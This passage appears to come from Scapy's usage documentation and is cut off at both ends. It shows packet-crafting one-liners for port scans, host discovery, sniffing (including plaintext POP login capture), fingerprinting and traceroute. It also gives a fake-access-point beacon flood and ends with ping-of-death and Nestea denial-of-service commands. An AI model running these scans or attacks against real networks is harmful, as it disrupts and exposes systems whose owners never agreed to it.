sr(IP(dst="192.168.1.1")/TCP(sport=RandShort(),dport=[440,441,442,443],flags="S")) In order to quickly review responses simply request a summary of collected packets:: >>> ans,unans = _ >>> ans.summary() IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:440 S ======> IP / TCP 192.168.1.1:440 > 192.168.1.100:ftp-data RA / Padding IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:441 S ======> IP / TCP 192.168.1.1:441 > 192.168.1.100:ftp-data RA / Padding IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:442 S ======> IP / TCP 192.168.1.1:442 > 192.168.1.100:ftp-data RA / Padding IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:https S ======> IP / TCP 192.168.1.1:https > 192.168.1.100:ftp-data SA / Padding The above will display stimulus/response pairs for answered probes. We can display only the information we are interested in by using a simple loop: >>> ans.summary( lambda(s,r): r.sprintf("%TCP.sport% \t %TCP.flags%") ) 440 RA 441 RA 442 RA https SA Even better, a table can be built using the ``make_table()`` function to display information about multiple targets:: >>> ans,unans = sr(IP(dst=["192.168.1.1","yahoo.com","slashdot.org"])/TCP(dport=[22,80,443],flags="S")) Begin emission: .......*.**.......Finished to send 9 packets. **.*.*..*.................. Received 362 packets, got 8 answers, remaining 1 packets >>> ans.make_table( ... lambda(s,r): (s.dst, s.dport, ... r.sprintf("{TCP:%TCP.flags%}{ICMP:%IP.src% - %ICMP.type%}"))) 66.35.250.150 192.168.1.1 216.109.112.135 22 66.35.250.150 - dest-unreach RA - 80 SA RA SA 443 SA SA SA The above example will even print the ICMP error type if the ICMP packet was received as a response instead of expected TCP. For larger scans, we could be interested in displaying only certain responses. The example below will only display packets with the “SA†flag set:: >>> ans.nsummary(lfilter = lambda (s,r): r.sprintf("%TCP.flags%") == "SA") 0003 IP / TCP 192.168.1.100:ftp_data > 192.168.1.1:https S ======> IP / TCP 192.168.1.1:https > 192.168.1.100:ftp_data SA In case we want to do some expert analysis of responses, we can use the following command to indicate which ports are open:: >>> ans.summary(lfilter = lambda (s,r): r.sprintf("%TCP.flags%") == "SA",prn=lambda(s,r):r.sprintf("%TCP.sport% is open")) https is open Again, for larger scans we can build a table of open ports:: >>> ans.filter(lambda (s,r):TCP in r and r[TCP].flags&2).make_table(lambda (s,r): ... (s.dst, s.dport, "X")) 66.35.250.150 192.168.1.1 216.109.112.135 80 X - X 443 X X X If all of the above methods were not enough, Scapy includes a report_ports() function which not only automates the SYN scan, but also produces a LaTeX output with collected results:: >>> report_ports("192.168.1.1",(440,443)) Begin emission: ...*.**Finished to send 4 packets. * Received 8 packets, got 4 answers, remaining 0 packets '\\begin{tabular}{|r|l|l|}\n\\hline\nhttps & open & SA \\\\\n\\hline\n440 & closed & TCP RA \\\\\n441 & closed & TCP RA \\\\\n442 & closed & TCP RA \\\\\n\\hline\n\\hline\n\\end{tabular}\n' TCP traceroute -------------- .. index:: single: Traceroute A TCP traceroute:: >>> ans,unans=sr(IP(dst=target, ttl=(4,25),id=RandShort())/TCP(flags=0x2)) *****.******.*.***..*.**Finished to send 22 packets. ***...... Received 33 packets, got 21 answers, remaining 1 packets >>> for snd,rcv in ans: ... print snd.ttl, rcv.src, isinstance(rcv.payload, TCP) ... 5 194.51.159.65 0 6 194.51.159.49 0 4 194.250.107.181 0 7 193.251.126.34 0 8 193.251.126.154 0 9 193.251.241.89 0 10 193.251.241.110 0 11 193.251.241.173 0 13 208.172.251.165 0 12 193.251.241.173 0 14 208.172.251.165 0 15 206.24.226.99 0 16 206.24.238.34 0 17 173.109.66.90 0 18 173.109.88.218 0 19 173.29.39.101 1 20 173.29.39.101 1 21 173.29.39.101 1 22 173.29.39.101 1 23 173.29.39.101 1 24 173.29.39.101 1 Note that the TCP traceroute and some other high-level functions are already coded:: >>> lsc() sr : Send and receive packets at layer 3 sr1 : Send packets at layer 3 and return only the first answer srp : Send and receive packets at layer 2 srp1 : Send and receive packets at layer 2 and return only the first answer srloop : Send a packet at layer 3 in loop and print the answer each time srploop : Send a packet at layer 2 in loop and print the answer each time sniff : Sniff packets p0f : Passive OS fingerprinting: which OS emitted this TCP SYN ? arpcachepoison : Poison target's cache with (your MAC,victim's IP) couple send : Send packets at layer 3 sendp : Send packets at layer 2 traceroute : Instant TCP traceroute arping : Send ARP who-has requests to determine which hosts are up ls : List available layers, or infos on a given layer lsc : List user commands queso : Queso OS fingerprinting nmap_fp : nmap fingerprinting report_ports : portscan a target and output a LaTeX table dyndns_add : Send a DNS add message to a nameserver for "name" to have a new "rdata" dyndns_del : Send a DNS delete message to a nameserver for "name" [...] Configuring super sockets ------------------------- .. index:: single: super socket The process of sending packets and receiving is quite complicated. As I wanted to use the PF_PACKET interface to go through netfilter, I also needed to implement an ARP stack and ARP cache, and a LL stack. Well it seems to work, on ethernet and PPP interfaces, but I don't guarantee anything. Anyway, the fact I used a kind of super-socket for that mean that you can switch your IO layer very easily, and use PF_INET/SOCK_RAW, or use PF_PACKET at level 2 (giving the LL header (ethernet,...) and giving yourself mac addresses, ...). I've just added a super socket which use libdnet and libpcap, so that it should be portable:: >>> conf.L3socket=L3dnetSocket >>> conf.L3listen=L3pcapListenSocket Sniffing -------- .. index:: single: sniff() We can easily capture some packets or even clone tcpdump or tethereal. If no interface is given, sniffing will happen on every interfaces:: >>> sniff(filter="icmp and host 66.35.250.151", count=2) >>> a=_ >>> a.nsummary() 0000 Ether / IP / ICMP 192.168.5.21 echo-request 0 / Raw 0001 Ether / IP / ICMP 192.168.5.21 echo-request 0 / Raw >>> a[1] >>> >>> sniff(iface="wifi0", prn=lambda x: x.summary()) 802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133 802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates 802.11 Management 5 00:0a:41:ee:a5:50 / 802.11 Probe Response / Info SSID / Info Rates / Info DSset / Info 133 802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates 802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates 802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133 802.11 Management 11 00:07:50:d6:44:3f / 802.11 Authentication 802.11 Management 11 00:0a:41:ee:a5:50 / 802.11 Authentication 802.11 Management 0 00:07:50:d6:44:3f / 802.11 Association Request / Info SSID / Info Rates / Info 133 / Info 149 802.11 Management 1 00:0a:41:ee:a5:50 / 802.11 Association Response / Info Rates / Info 133 / Info 149 802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133 802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133 802.11 / LLC / SNAP / ARP who has 172.20.70.172 says 172.20.70.171 / Padding 802.11 / LLC / SNAP / ARP is at 00:0a:b7:4b:9c:dd says 172.20.70.172 / Padding 802.11 / LLC / SNAP / IP / ICMP echo-request 0 / Raw 802.11 / LLC / SNAP / IP / ICMP echo-reply 0 / Raw >>> sniff(iface="eth1", prn=lambda x: x.show()) ---[ Ethernet ]--- dst = 00:ae:f3:52:aa:d1 src = 00:02:15:37:a2:44 type = 0x800 ---[ IP ]--- version = 4L ihl = 5L tos = 0x0 len = 84 id = 0 flags = DF frag = 0L ttl = 64 proto = ICMP chksum = 0x3831 src = 192.168.5.21 dst = 66.35.250.151 options = '' ---[ ICMP ]--- type = echo-request code = 0 chksum = 0x89d9 id = 0xc245 seq = 0x0 ---[ Raw ]--- load = 'B\xf7i\xa9\x00\x04\x149\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\x22#$%&\'()*+,-./01234567' ---[ Ethernet ]--- dst = 00:02:15:37:a2:44 src = 00:ae:f3:52:aa:d1 type = 0x800 ---[ IP ]--- version = 4L ihl = 5L tos = 0x0 len = 84 id = 2070 flags = frag = 0L ttl = 42 proto = ICMP chksum = 0x861b src = 66.35.250.151 dst = 192.168.5.21 options = '' ---[ ICMP ]--- type = echo-reply code = 0 chksum = 0x91d9 id = 0xc245 seq = 0x0 ---[ Raw ]--- load = 'B\xf7i\xa9\x00\x04\x149\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\x22#$%&\'()*+,-./01234567' ---[ Padding ]--- load = '\n_\x00\x0b' For even more control over displayed information we can use the ``sprintf()`` function:: >>> pkts = sniff(prn=lambda x:x.sprintf("{IP:%IP.src% -> %IP.dst%\n}{Raw:%Raw.load%\n}")) 192.168.1.100 -> 64.233.167.99 64.233.167.99 -> 192.168.1.100 192.168.1.100 -> 64.233.167.99 192.168.1.100 -> 64.233.167.99 'GET / HTTP/1.1\r\nHost: 64.233.167.99\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8\r\nAccept: text/xml,application/xml,application/xhtml+xml, text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Language: en-us,en;q=0.5\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nKeep-Alive: 300\r\nConnection: keep-alive\r\nCache-Control: max-age=0\r\n\r\n' We can sniff and do passive OS fingerprinting:: >>> p >> >>> load_module("p0f") >>> p0f(p) (1.0, ['Linux 2.4.2 - 2.4.14 (1)']) >>> a=sniff(prn=prnp0f) (1.0, ['Linux 2.4.2 - 2.4.14 (1)']) (1.0, ['Linux 2.4.2 - 2.4.14 (1)']) (0.875, ['Linux 2.4.2 - 2.4.14 (1)', 'Linux 2.4.10 (1)', 'Windows 98 (?)']) (1.0, ['Windows 2000 (9)']) The number before the OS guess is the accurracy of the guess. Filters ------- .. index:: single: filter, sprintf() Demo of both bpf filter and sprintf() method:: >>> a=sniff(filter="tcp and ( port 25 or port 110 )", prn=lambda x: x.sprintf("%IP.src%:%TCP.sport% -> %IP.dst%:%TCP.dport% %2s,TCP.flags% : %TCP.payload%")) 192.168.8.10:47226 -> 213.228.0.14:110 S : 213.228.0.14:110 -> 192.168.8.10:47226 SA : 192.168.8.10:47226 -> 213.228.0.14:110 A : 213.228.0.14:110 -> 192.168.8.10:47226 PA : +OK <13103.1048117923@pop2-1.free.fr> 192.168.8.10:47226 -> 213.228.0.14:110 A : 192.168.8.10:47226 -> 213.228.0.14:110 PA : USER toto 213.228.0.14:110 -> 192.168.8.10:47226 A : 213.228.0.14:110 -> 192.168.8.10:47226 PA : +OK 192.168.8.10:47226 -> 213.228.0.14:110 A : 192.168.8.10:47226 -> 213.228.0.14:110 PA : PASS tata 213.228.0.14:110 -> 192.168.8.10:47226 PA : -ERR authorization failed 192.168.8.10:47226 -> 213.228.0.14:110 A : 213.228.0.14:110 -> 192.168.8.10:47226 FA : 192.168.8.10:47226 -> 213.228.0.14:110 FA : 213.228.0.14:110 -> 192.168.8.10:47226 A : Send and receive in a loop -------------------------- .. index:: single: srloop() Here is an example of a (h)ping-like functionnality : you always send the same set of packets to see if something change:: >>> srloop(IP(dst="www.target.com/30")/TCP()) RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S Importing and Exporting Data ---------------------------- PCAP ^^^^ It is often useful to save capture packets to pcap file for use at later time or with different applications:: >>> wrpcap("temp.cap",pkts) To restore previously saved pcap file: >>> pkts = rdpcap("temp.cap") or >>> pkts = sniff(offline="temp.cap") Hexdump ^^^^^^^ Scapy allows you to export recorded packets in various hex formats. Use ``hexdump()`` to display one or more packets using classic hexdump format:: >>> hexdump(pkt) 0000 00 50 56 FC CE 50 00 0C 29 2B 53 19 08 00 45 00 .PV..P..)+S...E. 0010 00 54 00 00 40 00 40 01 5A 7C C0 A8 19 82 04 02 .T..@.@.Z|...... 0020 02 01 08 00 9C 90 5A 61 00 01 E6 DA 70 49 B6 E5 ......Za....pI.. 0030 08 00 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 ................ 0040 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 .......... !"#$% 0050 26 27 28 29 2A 2B 2C 2D 2E 2F 30 31 32 33 34 35 &'()*+,-./012345 0060 36 37 67 Hexdump above can be reimported back into Scapy using ``import_hexcap()``:: >>> pkt_hex = Ether(import_hexcap()) 0000 00 50 56 FC CE 50 00 0C 29 2B 53 19 08 00 45 00 .PV..P..)+S...E. 0010 00 54 00 00 40 00 40 01 5A 7C C0 A8 19 82 04 02 .T..@.@.Z|...... 0020 02 01 08 00 9C 90 5A 61 00 01 E6 DA 70 49 B6 E5 ......Za....pI.. 0030 08 00 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 ................ 0040 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 .......... !"#$% 0050 26 27 28 29 2A 2B 2C 2D 2E 2F 30 31 32 33 34 35 &'()*+,-./012345 0060 36 37 67 >>> pkt_hex >>> Hex string ^^^^^^^^^^ You can also convert entire packet into a hex string using the ``str()`` function:: >>> pkts = sniff(count = 1) >>> pkt = pkts[0] >>> pkt >>> >>> pkt_str = str(pkt) >>> pkt_str '\x00PV\xfc\xceP\x00\x0c)+S\x19\x08\x00E\x00\x00T\x00\x00@\x00@\x01Z|\xc0\xa8 \x19\x82\x04\x02\x02\x01\x08\x00\x9c\x90Za\x00\x01\xe6\xdapI\xb6\xe5\x08\x00 \x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b \x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567' We can reimport the produced hex string by selecting the appropriate starting layer (e.g. ``Ether()``). >>> new_pkt = Ether(pkt_str) >>> new_pkt >>> Base64 ^^^^^^ Using the ``export_object()`` function, Scapy can export a base64 encoded Python data structure representing a packet:: >>> pkt >>> >>> export_object(pkt) eNplVwd4FNcRPt2dTqdTQ0JUUYwN+CgS0gkJONFEs5WxFDB+CdiI8+pupVl0d7uzRUiYtcEGG4ST OD1OnB6nN6c4cXrvwQmk2U5xA9tgO70XMm+1rA78qdzbfTP/lDfzz7tD4WwmU1C0YiaT2Gqjaiao bMlhCrsUSYrYoKbmcxZFXSpPiohlZikm6ltb063ZdGpNOjWQ7mhPt62hChHJWTbFvb0O/u1MD2bT WZXXVCmi9pihUqI3FHdEQslriiVfWFTVT9VYpog6Q7fsjG0qRWtQNwsW1fRTrUg4xZxq5pUx1aS6 ... The output above can be reimported back into Scapy using ``import_object()``:: >>> new_pkt = import_object() eNplVwd4FNcRPt2dTqdTQ0JUUYwN+CgS0gkJONFEs5WxFDB+CdiI8+pupVl0d7uzRUiYtcEGG4ST OD1OnB6nN6c4cXrvwQmk2U5xA9tgO70XMm+1rA78qdzbfTP/lDfzz7tD4WwmU1C0YiaT2Gqjaiao bMlhCrsUSYrYoKbmcxZFXSpPiohlZikm6ltb063ZdGpNOjWQ7mhPt62hChHJWTbFvb0O/u1MD2bT WZXXVCmi9pihUqI3FHdEQslriiVfWFTVT9VYpog6Q7fsjG0qRWtQNwsW1fRTrUg4xZxq5pUx1aS6 ... >>> new_pkt >>> Sessions ^^^^^^^^ At last Scapy is capable of saving all session variables using the ``save_session()`` function: >>> dir() ['__builtins__', 'conf', 'new_pkt', 'pkt', 'pkt_export', 'pkt_hex', 'pkt_str', 'pkts'] >>> save_session("session.scapy") Next time you start Scapy you can load the previous saved session using the ``load_session()`` command:: >>> dir() ['__builtins__', 'conf'] >>> load_session("session.scapy") >>> dir() ['__builtins__', 'conf', 'new_pkt', 'pkt', 'pkt_export', 'pkt_hex', 'pkt_str', 'pkts'] Making tables ------------- .. index:: single: tables, make_table() Now we have a demonstration of the ``make_table()`` presentation function. It takes a list as parameter, and a function who returns a 3-uple. The first element is the value on the x axis from an element of the list, the second is about the y value and the third is the value that we want to see at coordinates (x,y). The result is a table. This function has 2 variants, ``make_lined_table()`` and ``make_tex_table()`` to copy/paste into your LaTeX pentest report. Those functions are available as methods of a result object : Here we can see a multi-parallel traceroute (scapy already has a multi TCP traceroute function. See later):: >>> ans,unans=sr(IP(dst="www.test.fr/30", ttl=(1,6))/TCP()) Received 49 packets, got 24 answers, remaining 0 packets >>> ans.make_table( lambda (s,r): (s.dst, s.ttl, r.src) ) 216.15.189.192 216.15.189.193 216.15.189.194 216.15.189.195 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 2 81.57.239.254 81.57.239.254 81.57.239.254 81.57.239.254 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 4 213.228.3.3 213.228.3.3 213.228.3.3 213.228.3.3 5 193.251.254.1 193.251.251.69 193.251.254.1 193.251.251.69 6 193.251.241.174 193.251.241.178 193.251.241.174 193.251.241.178 Here is a more complex example to identify machines from their IPID field. We can see that 172.20.80.200:22 is answered by the same IP stack than 172.20.80.201 and that 172.20.80.197:25 is not answered by the sape IP stack than other ports on the same IP. :: >>> ans,unans=sr(IP(dst="172.20.80.192/28")/TCP(dport=[20,21,22,25,53,80])) Received 142 packets, got 25 answers, remaining 71 packets >>> ans.make_table(lambda (s,r): (s.dst, s.dport, r.sprintf("%IP.id%"))) 172.20.80.196 172.20.80.197 172.20.80.198 172.20.80.200 172.20.80.201 20 0 4203 7021 - 11562 21 0 4204 7022 - 11563 22 0 4205 7023 11561 11564 25 0 0 7024 - 11565 53 0 4207 7025 - 11566 80 0 4028 7026 - 11567 It can help identify network topologies very easily when playing with TTL, displaying received TTL, etc. Routing ------- .. index:: single: Routing, conf.route Now scapy has its own routing table, so that you can have your packets routed diffrently than the system:: >>> conf.route Network Netmask Gateway Iface 127.0.0.0 255.0.0.0 0.0.0.0 lo 192.168.8.0 255.255.255.0 0.0.0.0 eth0 0.0.0.0 0.0.0.0 192.168.8.1 eth0 >>> conf.route.delt(net="0.0.0.0/0",gw="192.168.8.1") >>> conf.route.add(net="0.0.0.0/0",gw="192.168.8.254") >>> conf.route.add(host="192.168.1.1",gw="192.168.8.1") >>> conf.route Network Netmask Gateway Iface 127.0.0.0 255.0.0.0 0.0.0.0 lo 192.168.8.0 255.255.255.0 0.0.0.0 eth0 0.0.0.0 0.0.0.0 192.168.8.254 eth0 192.168.1.1 255.255.255.255 192.168.8.1 eth0 >>> conf.route.resync() >>> conf.route Network Netmask Gateway Iface 127.0.0.0 255.0.0.0 0.0.0.0 lo 192.168.8.0 255.255.255.0 0.0.0.0 eth0 0.0.0.0 0.0.0.0 192.168.8.1 eth0 Gnuplot ------- .. index:: single: Gnuplot, plot() We can easily plot some harvested values using Gnuplot. (Make sure that you have Gnuplot-py and Gnuplot installed.) For example, we can observe the IP ID patterns to know how many distinct IP stacks are used behind a load balancer:: >>> a,b=sr(IP(dst="www.target.com")/TCP(sport=[RandShort()]*1000)) >>> a.plot(lambda x:x[1].id) .. image:: graphics/ipid.png TCP traceroute (2) ------------------ .. index:: single: traceroute(), Traceroute Scapy also has a powerful TCP traceroute function. Unlike other traceroute programs that wait for each node to reply before going to the next, scapy sends all the packets at the same time. This has the disadvantage that it can't know when to stop (thus the maxttl parameter) but the great advantage that it took less than 3 seconds to get this multi-target traceroute result:: >>> traceroute(["www.yahoo.com","www.altavista.com","www.wisenut.com","www.copernic.com"],maxttl=20) Received 80 packets, got 80 answers, remaining 0 packets 193.45.10.88:80 216.109.118.79:80 64.241.242.243:80 66.94.229.254:80 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 2 82.243.5.254 82.243.5.254 82.243.5.254 82.243.5.254 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 4 212.27.50.46 212.27.50.46 212.27.50.46 212.27.50.46 5 212.27.50.37 212.27.50.41 212.27.50.37 212.27.50.41 6 212.27.50.34 212.27.50.34 213.228.3.234 193.251.251.69 7 213.248.71.141 217.118.239.149 208.184.231.214 193.251.241.178 8 213.248.65.81 217.118.224.44 64.125.31.129 193.251.242.98 9 213.248.70.14 213.206.129.85 64.125.31.186 193.251.243.89 10 193.45.10.88 SA 213.206.128.160 64.125.29.122 193.251.254.126 11 193.45.10.88 SA 206.24.169.41 64.125.28.70 216.115.97.178 12 193.45.10.88 SA 206.24.226.99 64.125.28.209 66.218.64.146 13 193.45.10.88 SA 206.24.227.106 64.125.29.45 66.218.82.230 14 193.45.10.88 SA 216.109.74.30 64.125.31.214 66.94.229.254 SA 15 193.45.10.88 SA 216.109.120.149 64.124.229.109 66.94.229.254 SA 16 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA 17 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA 18 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA 19 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA 20 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA (, ) The last line is in fact a the result of the function : a traceroute result object and a packet list of unanswered packets. The traceroute result is a more specialised version (a subclass, in fact) of a classic result object. We can save it to consult the traceroute result again a bit later, or to deeply inspect one of the answers, for example to check padding. >>> result,unans=_ >>> result.show() 193.45.10.88:80 216.109.118.79:80 64.241.242.243:80 66.94.229.254:80 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 2 82.251.4.254 82.251.4.254 82.251.4.254 82.251.4.254 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 [...] >>> result.filter(lambda x: Padding in x[1]) Like any result object, traceroute objects can be added : >>> r2,unans=traceroute(["www.voila.com"],maxttl=20) Received 19 packets, got 19 answers, remaining 1 packets 195.101.94.25:80 1 192.168.8.1 2 82.251.4.254 3 213.228.4.254 4 212.27.50.169 5 212.27.50.162 6 193.252.161.97 7 193.252.103.86 8 193.252.103.77 9 193.252.101.1 10 193.252.227.245 12 195.101.94.25 SA 13 195.101.94.25 SA 14 195.101.94.25 SA 15 195.101.94.25 SA 16 195.101.94.25 SA 17 195.101.94.25 SA 18 195.101.94.25 SA 19 195.101.94.25 SA 20 195.101.94.25 SA >>> >>> r3=result+r2 >>> r3.show() 195.101.94.25:80 212.23.37.13:80 216.109.118.72:80 64.241.242.243:80 66.94.229.254:80 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 2 82.251.4.254 82.251.4.254 82.251.4.254 82.251.4.254 82.251.4.254 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 4 212.27.50.169 212.27.50.169 212.27.50.46 - 212.27.50.46 5 212.27.50.162 212.27.50.162 212.27.50.37 212.27.50.41 212.27.50.37 6 193.252.161.97 194.68.129.168 212.27.50.34 213.228.3.234 193.251.251.69 7 193.252.103.86 212.23.42.33 217.118.239.185 208.184.231.214 193.251.241.178 8 193.252.103.77 212.23.42.6 217.118.224.44 64.125.31.129 193.251.242.98 9 193.252.101.1 212.23.37.13 SA 213.206.129.85 64.125.31.186 193.251.243.89 10 193.252.227.245 212.23.37.13 SA 213.206.128.160 64.125.29.122 193.251.254.126 11 - 212.23.37.13 SA 206.24.169.41 64.125.28.70 216.115.97.178 12 195.101.94.25 SA 212.23.37.13 SA 206.24.226.100 64.125.28.209 216.115.101.46 13 195.101.94.25 SA 212.23.37.13 SA 206.24.238.166 64.125.29.45 66.218.82.234 14 195.101.94.25 SA 212.23.37.13 SA 216.109.74.30 64.125.31.214 66.94.229.254 SA 15 195.101.94.25 SA 212.23.37.13 SA 216.109.120.151 64.124.229.109 66.94.229.254 SA 16 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA 17 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA 18 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA 19 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA 20 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA Traceroute result object also have a very neat feature: they can make a directed graph from all the routes they got, and cluster them by AS. You will need graphviz. By default, ImageMagick is used to display the graph. >>> res,unans = traceroute(["www.microsoft.com","www.cisco.com","www.yahoo.com","www.wanadoo.fr","www.pacsec.com"],dport=[80,443],maxttl=20,retry=-2) Received 190 packets, got 190 answers, remaining 10 packets 193.252.122.103:443 193.252.122.103:80 198.133.219.25:443 198.133.219.25:80 207.46... 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 192.16... 2 82.251.4.254 82.251.4.254 82.251.4.254 82.251.4.254 82.251... 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 213.22... [...] >>> res.graph() # piped to ImageMagick's display program. Image below. >>> res.graph(type="ps",target="| lp") # piped to postscript printer >>> res.graph(target="> /tmp/graph.svg") # saved to file .. image:: graphics/graph_traceroute.png If you have VPython installed, you also can have a 3D representation of the traceroute. With the right button, you can rotate the scene, with the middle button, you can zoom, with the left button, you can move the scene. If you click on a ball, it's IP will appear/disappear. If you Ctrl-click on a ball, ports 21, 22, 23, 25, 80 and 443 will be scanned and the result displayed:: >>> res.trace3D() .. image:: graphics/trace3d_1.png .. image:: graphics/trace3d_2.png Wireless frame injection ------------------------ .. index:: single: FakeAP, Dot11, wireless, WLAN Provided that your wireless card and driver are correctly configured for frame injection :: $ ifconfig wlan0 up $ iwpriv wlan0 hostapd 1 $ ifconfig wlan0ap up you can have a kind of FakeAP:: >>> sendp(Dot11(addr1="ff:ff:ff:ff:ff:ff",addr2=RandMAC(),addr3=RandMAC())/ Dot11Beacon(cap="ESS")/ Dot11Elt(ID="SSID",info=RandString(RandNum(1,50)))/ Dot11Elt(ID="Rates",info='\x82\x84\x0b\x16')/ Dot11Elt(ID="DSset",info="\x03")/ Dot11Elt(ID="TIM",info="\x00\x01\x00\x00"),iface="wlan0ap",loop=1) Simple one-liners ================= ACK Scan -------- Using Scapy's powerful packet crafting facilities we can quick replicate classic TCP Scans. For example, the following string will be sent to simulate an ACK Scan:: >>> ans,unans = sr(IP(dst="www.slashdot.org")/TCP(dport=[80,666],flags="A")) We can find unfiltered ports in answered packets:: >>> for s,r in ans: ... if s[TCP].dport == r[TCP].sport: ... print str(s[TCP].dport) + " is unfiltered" Similarly, filtered ports can be found with unanswered packets:: >>> for s in unans: ... print str(s[TCP].dport) + " is filtered" Xmas Scan --------- Xmas Scan can be launced using the following command:: >>> ans,unans = sr(IP(dst="192.168.1.1")/TCP(dport=666,flags="FPU") ) Checking RST responses will reveal closed ports on the target. IP Scan ------- A lower level IP Scan can be used to enumerate supported protocols:: >>> ans,unans=sr(IP(dst="192.168.1.1",proto=(0,255))/"SCAPY",retry=2) ARP Ping -------- The fastest way to discover hosts on a local ethernet network is to use the ARP Ping method:: >>> ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.0/24"),timeout=2) Answers can be reviewed with the following command:: >>> ans.summary(lambda (s,r): r.sprintf("%Ether.src% %ARP.psrc%") ) Scapy also includes a built-in arping() function which performs similar to the above two commands: >>> arping("192.168.1.*") ICMP Ping --------- Classical ICMP Ping can be emulated using the following command:: >>> ans,unans=sr(IP(dst="192.168.1.1-254")/ICMP()) Information on live hosts can be collected with the following request:: >>> ans.summary(lambda (s,r): r.sprintf("%IP.src% is alive") ) TCP Ping -------- In cases where ICMP echo requests are blocked, we can still use various TCP Pings such as TCP SYN Ping below:: >>> ans,unans=sr( IP(dst="192.168.1.*")/TCP(dport=80,flags="S") ) Any response to our probes will indicate a live host. We can collect results with the following command:: >>> ans.summary( lambda(s,r) : r.sprintf("%IP.src% is alive") ) UDP Ping -------- If all else fails there is always UDP Ping which will produce ICMP Port unreachable errors from live hosts. Here you can pick any port which is most likely to be closed, such as port 0:: >>> ans,unans=sr( IP(dst="192.168.*.1-10")/UDP(dport=0) ) Once again, results can be collected with this command: >>> ans.summary( lambda(s,r) : r.sprintf("%IP.src% is alive") ) Classical attacks ----------------- Malformed packets:: >>> send(IP(dst="10.1.1.5", ihl=2, version=3)/ICMP()) Ping of death (Muuahahah):: >>> send( fragment(IP(dst="10.0.0.5")/ICMP()/("X"*60000)) ) Nestea attack:: >>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*10)) >>> send(IP(dst=target, id=42, 